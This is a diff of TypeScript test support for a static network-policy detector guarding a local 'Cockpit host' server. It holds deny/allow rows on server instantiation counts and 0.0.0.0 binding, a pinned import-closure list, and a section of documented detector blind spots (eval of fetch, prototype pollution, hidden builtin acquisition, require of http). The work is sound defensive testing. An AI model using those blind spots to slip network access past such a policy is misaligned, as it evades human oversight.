{}); const spare = createCockpitServer(); spare.close(); }\nmain();`), ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'spare direct site appended to the real host replica', `${REAL_HOST_SHAPE}\nhttp.createServer(${L}).close();`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'sites split across two non-factory functions', `${NS}\nfunction a() { http.createServer(${L}).close(); }\nfunction b() { http.createServer(${L}).close(); }\na();\nb();`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'nested site inside a factory listener', `${NS}\nfunction make() { return http.createServer((request, response) => { http.createServer(${L}).close(); response.end('x'); }); }\nmake().close();`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'factory-of-factory called twice', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\nouter().close();`), ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'factory call plus factory-of-factory call', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\ncreateCockpitServer().close();`), ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'three direct sites', `${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});\nhttp.createServer(${L});`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'exhaustion still fails closed before the site bound', `${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }), + allow('server instantiation site bound', 'one direct site', withServer(`server.close();`)), + allow('server instantiation site bound', 'confined factory with one external call site', withFactory(`createCockpitServer().close();`)), + allow('server instantiation site bound', 'unused confined factory plus one direct site', withFactory(`http.createServer(${L}).close();`)), + allow('server instantiation site bound', 'alias-returning factories add no site', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().close();`)), + allow('server instantiation site bound', 'factory with multiple internal returns is one site per call', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).close();`), + allow('server instantiation site bound', 'factory-of-factory called once', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();`)), + allow('server instantiation site bound', 'factory instantiating through a const then returning it', `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`), + allow('server instantiation site bound', 'real host replica has one site', REAL_HOST_SHAPE), + deny('server instantiation site bound', 'Codex P1 witness: confined factory invoked twice, second listener on 0.0.0.0', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst a = make();\nconst b = make();\na.listen(4317, '127.0.0.1');\nb.listen(4318, '0.0.0.0');`, ['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']), + outside('server instantiation site bound', 'runtime call multiplicity of one static site', `${NS}\nfunction boot() { http.createServer(${L}).close(); }\nboot();\nboot();`), + outside('server instantiation site bound', 'loop around one static site', `${NS}\nfor (let i = 0; i < 2; i += 1) { http.createServer(${L}).close(); }`), +]; + +// --------------------------------------------------------------------------- +// Outside the declared boundary (documented, terminate-only) +// --------------------------------------------------------------------------- + +const OUTSIDE_BOUNDARY: readonly RegressionRow[] = [ + outside('factory confinement', 'cross-module consumption of a server factory', `import { createCockpitServer } from './server.js';\nconst s = createCockpitServer();\ns.on('x', () => {});`), + outside('export confinement', 'module-graph re-export of another module value', `export { server as s } from './other.js';`), + outside('mutation/reflection', 'prototype graph pollution', `(Object.prototype as any).fetch = () => {};`), + outside('free-global identity', 'runtime code generation (RC territory)', `eval("fetch('x')");`), + outside('node:http namespace/client capability', 'hidden builtin acquisition (HA territory)', `process.getBuiltinModule('http');`), + outside('node:http namespace/client capability', 'CommonJS require of http', `const http = require('http');\nhttp.request('x');`), +]; + +export const D3_REGRESSION_MATRIX: readonly RegressionRow[] = [ + ...FREE_GLOBAL, + ...HTTP_CAPABILITY, + ...STATIC_KEYS, + ...SHORTHAND, + ...SOCKET, + ...RUNTIME_KEYS, + ...ALIAS, + ...LOCAL_PROPAGATION, + ...IMMUTABILITY, + ...MUTATION, + ...LISTENER_BOUNDARY, + ...OPTIONS, + ...FACTORY, + ...RESULT, + ...EXPORT, + ...FIXPOINT, + ...EXTRA_PARAMETERS, + ...REAL_HOST, + ...LISTEN_BINDING, + ...INSTANTIATION_SITES, + ...OUTSIDE_BOUNDARY, +]; + +/** The inline replica of the real host, exported for the fixpoint tests. */ +export const REAL_HOST_REPLICA = REAL_HOST_SHAPE; + +/** The reverse propagation chain builder, exported for the fixpoint tests. */ +export const reversePropagationChain = reverseChain; diff --git a/tests/cockpit-host/support/host-closure.ts b/tests/cockpit-host/support/host-closure.ts new file mode 100644 index 0000000..aa89cf3 --- /dev/null +++ b/tests/cockpit-host/support/host-closure.ts @@ -0,0 +1,32 @@ +import { readFileSync } from 'node:fs'; + +/** + * The pinned executable import closure of the Cockpit host, as `src/`-relative, + * '/'-separated tree names: every host source, the Cockpit boundary the host + * imports, and the domain kernel the boundary imports. The purity suite proves + * the real closure (walked from `src/cockpit-host/**` through every runtime + * relative import) equals this list, so a new executable dependency must be + * enrolled here explicitly; the network-policy suite proves the detector + * accepts exactly these files as one tree. + */ +export const EXPECTED_HOST_CLOSURE: readonly string[] = [ + 'cockpit-host/escape.ts', + 'cockpit-host/fixtures/stage-a.ts', + 'cockpit-host/render.ts', + 'cockpit-host/server.ts', + 'cockpit-host/styles.ts', + 'cockpit/evidence-freshness-projection.ts', + 'cockpit/index.ts', + 'cockpit/read-model.ts', + 'domain/evidence-freshness.ts', + 'domain/evidence.ts', + 'domain/repair-job.ts', + 'domain/review.ts', +]; + +const SRC_ROOT_URL = new URL('../../../src/', import.meta.url); + +/** The pinned closure's sources, read from `src/`, in the tree entry's form (`file` relative to `src/`). */ +export function readHostClosure(): readonly { readonly file: string; readonly text: string }[] { + return EXPECTED_HOST_CLOSURE.map((file) => ({ file, text: readFileSync(new URL(file, SRC_ROOT_URL), 'utf8') })); +}